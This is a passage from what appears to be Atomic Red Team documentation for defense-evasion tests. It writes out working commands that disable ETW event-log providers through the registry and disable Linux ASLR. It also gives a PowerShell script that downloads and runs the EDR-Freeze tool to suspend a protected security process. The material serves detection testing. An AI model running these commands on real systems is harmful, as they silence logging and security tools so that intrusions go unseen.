New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 1 -PropertyType "DWord" -Force

Atomic Test #56 - Disable EventLog-Application ETW Provider Via Registry - Cmd

This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.

Supported Platforms: Windows

auto_generated_guid: 1cac9b54-810e-495c-8aac-989e0076583b

Inputs:

NameDescriptionTypeDefault Value
ETWProviderGUIDMicrosoft-Windows-SenseIR ETW Provider GUIDstring{B6D775EF-1436-4FE6-BAD3-9E436319E218}

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" /v "Enabled" /t REG_DWORD /d "0" /f

Cleanup Commands:

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" /v "Enabled" /t REG_DWORD /d "1" /f

Atomic Test #57 - Disable EventLog-Application ETW Provider Via Registry - PowerShell

This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.

Supported Platforms: Windows

auto_generated_guid: 8f907648-1ebf-4276-b0f0-e2678ca474f0

Inputs:

NameDescriptionTypeDefault Value
ETWProviderGUIDMicrosoft-Windows-SenseIR ETW Provider GUIDstring{B6D775EF-1436-4FE6-BAD3-9E436319E218}

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 0 -PropertyType "DWord" -Force

Cleanup Commands:

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 1 -PropertyType "DWord" -Force

Atomic Test #58 - Freeze PPL-protected process with EDR-Freeze

This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the accessing tool is signed and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently trusted by the operating system, EDR-Freeze is able to bypass these restrictions and temporarily freeze PPL-protected processes for analysis or testing purposes.

Supported Platforms: Windows

auto_generated_guid: cbb2573a-a6ad-4c87-aef8-6e175598559b

Inputs:

NameDescriptionTypeDefault Value
processNamePPL-protected process name to targetstringSecurityHealthService

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class TokenAdjuster {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
        ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    public struct TOKEN_PRIVILEGES {
        public int PrivilegeCount;
        public long Luid;
        public int Attributes;
    }

    public const int SE_PRIVILEGE_ENABLED = 0x00000002;
    public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
    public const uint TOKEN_QUERY = 0x0008;

    public static bool EnableSeDebugPrivilege() {
        IntPtr hToken;
        if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
            return false;

        long luid;
        if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
            return false;

        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
        tp.PrivilegeCount = 1;
        tp.Luid = luid;
        tp.Attributes = SE_PRIVILEGE_ENABLED;

        return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }
}
"@

$result = [TokenAdjuster]::EnableSeDebugPrivilege()
if ($result) {
    Write-Host "SeDebugPrivilege enabled successfully." -ForegroundColor Green
} else {
    Write-Host "Failed to enable SeDebugPrivilege." -ForegroundColor Red
    exit 1
}

# Get basic process info
$process = Get-Process -Name $#{processName} -ErrorAction Stop
$processName = $process.ProcessName
Write-Host "Process Name: $processName)"
Write-Host "PID: $($process.Id)"

# Get executable path and user info
$query = "SELECT * FROM Win32_Process WHERE Name = '$processName.exe'"
$wmiProcess = Get-WmiObject -Query $query

$owner = $wmiProcess.GetOwner()
    Write-Host "User: $($owner.Domain)\$($owner.User)"


# Get the folder of the current script
$scriptFolder = Split-Path -Parent $MyInvocation.MyCommand.Definition

# Download latest EDR-Freeze package and extract (force replace)
$downloadUrl = "https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip"
$zipPath = Join-Path $scriptFolder "EDR-Freeze_1.0.zip"
Write-Host "Downloading latest EDR-Freeze from $downloadUrl" -ForegroundColor Cyan
try {
    Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop
    Write-Host "Download completed: $zipPath" -ForegroundColor Green
    $extractFolder = $scriptFolder
    if (Test-Path $zipPath) {
        Write-Host "Extracting archive to $extractFolder (overwriting existing files)" -ForegroundColor Cyan
        if (Test-Path $extractFolder) {
            # Ensure target exe not locked; attempt to stop any running instance silently
            Get-Process -Name "EDR-Freeze_1.0" -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
        }
        Add-Type -AssemblyName System.IO.Compression.FileSystem 2>$null
        # Custom extraction routine (overwrite existing) compatible with .NET Framework (no bool overwrite overload)
        $archive = $null
        try {
            $archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
            foreach ($entry in $archive.Entries) {
                if ([string]::IsNullOrWhiteSpace($entry.FullName)) { continue }
                if ($entry.FullName.EndsWith('/')) { # directory entry
                    $dirPath = Join-Path $extractFolder $entry.FullName
                    if (-not (Test-Path $dirPath)) { New-Item -ItemType Directory -Path $dirPath -Force | Out-Null }
                    continue
                }
                $destPath = Join-Path $extractFolder $entry.FullName
                $destDir = Split-Path $destPath -Parent
                if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
                if (Test-Path $destPath) { Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }
                try {
                    # Use static extension method (PowerShell 5.1 compatible)
                    [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $false)
                } catch {
                    Write-Host "Failed to extract entry $($entry.FullName): $_" -ForegroundColor Yellow
                }
            }
            Write-Host "Extraction completed." -ForegroundColor Green
        } finally {
            if ($archive) { $archive.Dispose() }
        }
    }
} catch {
    Write-Host "Failed to download or extract EDR-Freeze: $_" -ForegroundColor Red
}

# Wait 15s before putting targeted process before putting it in the comma
Write-Host "Waiting 15s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 10s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 5s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "Waiting 2s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 2

# Put targeted  process in the comma for 15s
# Discover the EDR-Freeze executable dynamically (pick most recent if multiple)
$edrFreezeExeName = Get-ChildItem -Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue |
    Sort-Object LastWriteTime -Descending |
    Select-Object -First 1 -ExpandProperty Name
if (-not $edrFreezeExeName) {
    Write-Host "No EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder" -ForegroundColor Red
    exit 1
}

$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName
Write-Host "Using EDR-Freeze executable: $edrFreezeExeName" -ForegroundColor Cyan
Write-Host "$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)" -ForegroundColor Yellow
Start-Process -FilePath $edrFreezeExe -ArgumentList ("$($process.Id) 15000") | Out-Null

Cleanup Commands:

Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"

Atomic Test #59 - Disable ASLR Via sysctl parameters - Linux

Detects Execution of the sysctl command to set kernel.randomize_va_space=0 which disables Address Space Layout Randomization (ASLR) in Linux.

Supported Platforms: Linux

auto_generated_guid: ac333fe1-ce2b-400b-a117-538634427439

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

sysctl -w kernel.randomize_va_space=0

Cleanup Commands:

sysctl -w kernel.randomize_va_space=2

T1560

Archive Collected Data

T1562.002

Impair Defenses: Disable Windows Event Logging

On this page

Atomic Tests
Atomic Test #1 - Disable syslog
Inputs:
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with sh!
Description: Package with rsyslog must be on system
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #2 - Disable syslog (freebsd)
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #3 - Disable Cb Response
Attack Commands: Run with sh!
Atomic Test #4 - Disable SELinux
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with sh!
Description: SELinux must be installed
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #5 - Stop Crowdstrike Falcon on Linux
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #6 - Disable Carbon Black Response
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #7 - Disable LittleSnitch
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #8 - Disable OpenDNS Umbrella
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #9 - Disable macOS Gatekeeper
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #10 - Stop and unload Crowdstrike Falcon on macOS
Inputs:
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #11 - Unload Sysmon Filter Driver
Inputs:
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with powershell!
Description: Sysmon must be downloaded
Check Prereq Commands:
Get Prereq Commands:
Description: sysmon must be Installed
Check Prereq Commands:
Get Prereq Commands:
Description: sysmon filter must be loaded
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #12 - Uninstall Sysmon
Inputs:
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with powershell!
Description: Sysmon executable must be available
Check Prereq Commands:
Get Prereq Commands:
Description: Sysmon must be installed
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #13 - AMSI Bypass - AMSI InitFailed
Attack Commands: Run with powershell!
Cleanup Commands:
Atomic Test #14 - AMSI Bypass - Remove AMSI Provider Reg Key
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #15 - Disable Arbitrary Security Windows Service
Inputs:
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #16 - Tamper with Windows Defender ATP PowerShell
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #17 - Tamper with Windows Defender Command Prompt
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #18 - Tamper with Windows Defender Registry
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #19 - Disable Microsoft Office Security Features
Attack Commands: Run with powershell!
Cleanup Commands:
Atomic Test #20 - Remove Windows Defender Definition Files
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Atomic Test #21 - Stop and Remove Arbitrary Security Windows Service
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Atomic Test #22 - Uninstall Crowdstrike Falcon on Windows
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Folder
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Extension
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #25 - Tamper with Windows Defender Evade Scanning -Process
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #26 - office-365-Disable-AntiPhishRule
Inputs:
Attack Commands: Run with powershell!
Cleanup Commands:
Dependencies: Run with powershell!
Description: ExchangeOnlineManagement PowerShell module must be installed
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #27 - Disable Windows Defender with DISM
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with powershell!
Description: Advancedrun.exe must exist at #{AdvancedRun_Location}
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #29 - Kill antimalware protected processes using Backstab
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Dependencies: Run with powershell!
Description: Backstab64.exe should exist in ExtrnalPayloads Directory
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #30 - WinPwn - Kill the event log services for stealth
Attack Commands: Run with powershell!
Atomic Test #31 - Tamper with Windows Defender ATP using Aliases - PowerShell
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #32 - LockBit Black - Disable Privacy Settings Experience Using Registry -cmd
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #33 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #34 - LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #35 - Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #36 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Atomic Test #37 - WMIC Tamper with Windows Defender Evade Scanning Folder
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #38 - Delete Windows Defender Scheduled Tasks
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with command_prompt!
Description: The Windows Defender scheduled tasks must be backed up first
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #39 - Clear History
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Atomic Test #40 - Suspend History
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #41 - Reboot Linux Host via Kernel System Request
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Atomic Test #42 - Clear Pagging Cache
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Atomic Test #43 - Disable Memory Swap
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #44 - Disable Hypervisor-Enforced Code Integrity (HVCI)
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Dependencies: Run with powershell!
Description: HVCI must be enabled
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #45 - AMSI Bypass - Override AMSI via COM
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #46 - AWS - GuardDuty Suspension or Deletion
Inputs:
Attack Commands: Run with bash!
Cleanup Commands:
Dependencies: Run with bash!
Description: Check if ~/.aws/credentials file has a default stanza is configured
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #47 - Tamper with Defender ATP on Linux/MacOS
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #48 - Tamper with Windows Defender Registry - Reg.exe
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #49 - Tamper with Windows Defender Registry - Powershell
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #50 - ESXi - Disable Account Lockout Policy via PowerCLI
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Dependencies: Run with powershell!
Description: Check if VMWARE PowerCLI PowerShell Module is installed.
Check Prereq Commands:
Get Prereq Commands:
Atomic Test #51 - Delete Microsoft Defender ASR Rules - InTune
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Atomic Test #52 - Delete Microsoft Defender ASR Rules - GPO
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Atomic Test #53 - AMSI Bypass - Create AMSIEnable Reg Key
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #54 - Disable EventLog-Application Auto Logger Session Via Registry - Cmd
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #55 - Disable EventLog-Application Auto Logger Session Via Registry - PowerShell
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #56 - Disable EventLog-Application ETW Provider Via Registry - Cmd
Inputs:
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #57 - Disable EventLog-Application ETW Provider Via Registry - PowerShell
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #58 - Freeze PPL-protected process with EDR-Freeze
Inputs:
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Cleanup Commands:
Atomic Test #59 - Disable ASLR Via sysctl parameters - Linux
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
Cleanup Commands: